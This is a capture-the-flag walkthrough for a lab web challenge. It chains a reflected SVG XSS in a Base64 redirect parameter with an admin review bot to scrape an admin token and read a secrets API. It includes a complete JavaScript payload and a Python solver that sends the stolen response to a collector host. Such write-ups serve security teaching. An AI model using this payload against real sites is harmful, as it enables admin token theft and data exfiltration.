Lab 43 — NetShield — Reflected XSS via Auth Redirect to Admin Secret Theft
Lab 43 — NetShield — Reflected XSS via Auth Redirect to Admin Secret Theft
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: svg_event_handler_injection, admin_bot_delivery, same_origin_token_theft, second_order_exfiltration
Summary
Walkthrough of the CUSTOM Web Lab 43 — NetShield — Reflected XSS via Auth Redirect to Admin Secret Theft. Task: A Base64-decoded authentication redirect is reflected into several browser contexts and can be submitted to an authenticated review bot. Solution: SVG XSS stole a dashboard token, read the privi
Description
Lab 43 — NetShield — Reflected XSS via Auth Redirect to Admin Secret Theft
The application provides a guest Wi-Fi portal and an authenticated support workflow for reporting URLs. The goal is to exploit the redirect flow in the privileged review bot's browser and recover the real secret from an admin-only API.
Reconnaissance
The supplied account could authenticate normally. Initial crawling and JavaScript review identified these relevant surfaces:
| Surface | Purpose |
|---|---|
/guest/wifi | Guest portal leading into the redirect flow |
/auth/redirect.php?dest=<base64> | Base64-decoded post-authentication redirect |
/support | User-facing URL-reporting interface |
POST /api/report-url | Accepts JSON containing url and description |
/admin/dashboard | Authenticated admin page containing an API token |
/admin/api/system/secrets | Privileged secrets endpoint |
/js/gateway.js | Client-side behavior and endpoint clues |
| |
The server reported nginx 1.25.5 and PHP 8.2.26. A flag-shaped value present in ordinary HTML, FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}, was a deliberate decoy: it appeared across public pages and was unrelated to the privileged API response.
Vulnerability Analysis
1. Multi-context reflection in the redirect page
redirect.php Base64-decodes dest and accepts decoded destinations only when they begin with /. It then inserts the decoded string without output encoding into three contexts:
html read-only • copy allowed<meta http-equiv="refresh" content="0;url=DECODED_DESTINATION"> <a href="DECODED_DESTINATION">Continue</a> <script>window.location.replace("DECODED_DESTINATION")</script>
A destination shaped like the following begins with the required slash but breaks out of an HTML attribute and creates an executable SVG element:
html read-only • copy allowed/"><svg onload="JAVASCRIPT_HERE">
Double quotes inside the event handler must be HTML-encoded as " before the complete destination is Base64-encoded. Destinations that did not begin with / were rejected and sent to /login.
2. Delivery to the authenticated admin browser
An ordinary authenticated user can submit:
json read-only • copy allowed{"url":"http://localhost:8080/auth/redirect.php?dest=...","description":"review"}
to /api/report-url. HeadlessChrome 124 reviews the submitted URL with an admin session. The important detail is its privileged application origin: http://localhost:8080. Reporting the public HTTPS host, or localhost without the correct port, did not provide the same privileged context.
3. Token recovery and privileged API access
The admin browser had no useful value in document.cookie, localStorage, or sessionStorage. Its authenticated dashboard did, however, include this structure:
html read-only • copy allowed<div id="adminCsrfToken" data-token="..."></div>
The dashboard's JavaScript uses that value as the X-ADMIN-TOKEN request header. A request to /admin/api/system/secrets with only the admin session returned HTTP 403 and Invalid or missing X-ADMIN-TOKEN header; adding the token scraped from the dashboard returned the secrets JSON.
4. Reliable exfiltration
Direct callback query parameters were stripped. The robust path was a synchronous, same-origin POST /api/report-url from the XSS. This queued a second URL whose Interaction Server path contained the URL-encoded API response.
One browser-specific pitfall mattered: inside an SVG event-handler scope, the identifier x resolves to the SVG element's x property. Therefore x = new XMLHttpRequest() does not produce the intended request object. Using window.__q avoids the collision.
Complete Exploit Chain
- Log in with the supplied normal-user account.
- Build JavaScript that synchronously fetches
/admin/dashboard. - Extract
#adminCsrfToken[data-token]from the response body. - Fetch
/admin/api/system/secretswith that value inX-ADMIN-TOKEN. - Submit a second report whose Interaction Server path contains
encodeURIComponent(responseText). - Place the JavaScript in
/\"><svg onload="...">, encoding inner double quotes as HTML entities. - Base64-encode the complete decoded destination.
- Submit the resulting
http://localhost:8080/auth/redirect.php?dest=...URL through the normal account's reporting API. - Read the nonce-matched HeadlessChrome callback and URL-decode its final path segment.
The minimal in-browser logic is:
javascript read-only • copy allowedwindow.__q = new XMLHttpRequest(); window.__q.open('GET', '/admin/dashboard', false); window.__q.send(); T = window.__q.responseText.match(/id="adminCsrfToken" data-token="([^"]+)/)[1]; window.__q = new XMLHttpRequest(); window.__q.open('GET', '/admin/api/system/secrets', false); window.__q.setRequestHeader('X-ADMIN-TOKEN', T); window.__q.send(); D = window.__q.responseText; window.__q = new XMLHttpRequest(); window.__q.open('POST', '/api/report-url', false); window.__q.setRequestHeader('Content-Type', 'application/json'); window.__q.send(JSON.stringify({ url: 'http://interact/INSTANCE_UUID/lab43/final/' + encodeURIComponent(D), description: 'final' }));
Reproducible Solver
This script generates the injection, authenticates, and submits the bot URL. Replace the instance values if the lab has been restarted.
python read-only • copy allowed#!/usr/bin/env python3 import base64 import sys from urllib.parse import quote import requests INSTANCE = sys.argv[1] NONCE = sys.argv[2] if len(sys.argv) > 2 else "final" BASE = f"https://{INSTANCE}.labs.hackadvisor.io" BOT_ORIGIN = "http://localhost:8080" COLLECTOR = f"http://interact/{INSTANCE}/lab43/{NONCE}/" js = ( "window.__q=new XMLHttpRequest();" "window.__q.open('GET','/admin/dashboard',false);window.__q.send();" "T=window.__q.responseText.match(/id=\\\"adminCsrfToken\\\" data-token=\\\"([^\\\"]+)/)[1];" "window.__q=new XMLHttpRequest();" "window.__q.open('GET','/admin/api/system/secrets',false);" "window.__q.setRequestHeader('X-ADMIN-TOKEN',T);window.__q.send();" "D=window.__q.responseText;" "window.__q=new XMLHttpRequest();" "window.__q.open('POST','/api/report-url',false);" "window.__q.setRequestHeader('Content-Type','application/json');" f"window.__q.send(JSON.stringify({{url:'{COLLECTOR}'+encodeURIComponent(D)," f"description:'{NONCE}'}}))" ) dest = '/\"><svg onload="' + js.replace('"', '"') + '">' encoded = base64.b64encode(dest.encode()).decode() bot_url = f"{BOT_ORIGIN}/auth/redirect.php?dest={quote(encoded)}" session = requests.Session() login = session.post( BASE + "/login", data={"email": "user@test.com", "password": "password123"}, allow_redirects=False, timeout=15, ) login.raise_for_status() report = session.post( BASE + "/api/report-url", json={"url": bot_url, "description": NONCE}, timeout=15, ) report.raise_for_status() print("Submitted:", bot_url) print("Report response:", report.text) print("Inspect Interaction Server callbacks for nonce:", NONCE)
Run it with:
bash read-only • copy allowedpython3 exploit.py INSTANCE_UUID final
The final nonce-matched callback came from HeadlessChrome 124. After URL-decoding its path, the JSON reported status: ok, the production gateway identifier, and a populated secrets object containing the verified flag.
Failed Approaches and Pitfalls
- Static public flag: the flag-shaped HTML comment was an intentional decoy, not the admin secret.
- Destination without a leading slash: server-side validation redirected these attempts to
/login. - Public or wrong-port bot URL: it lacked the privileged
localhost:8080application context. - Using
xfor XMLHttpRequest: SVG event-handler name resolution shadowed it with the SVGxproperty. - Direct query-string exfiltration: callback query data was stripped; path-encoded data survived.
- Cookie or Web Storage theft: all three browser storage sources were empty or unusable.
- Admin session alone: the secrets endpoint returned 403 without
X-ADMIN-TOKEN. - Token guessing: unnecessary because the authenticated dashboard exposed the value to same-origin JavaScript.
Key Takeaways / Lessons
- Mastering svg_event_handler_injection, admin_bot_delivery, same_origin_token_theft, second_order_exfiltration was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-07-24 • CUSTOM • Lab 43 — NetShield — Reflected XSS via Auth Redirect to Admin Secret Theft • Difficulty: Medium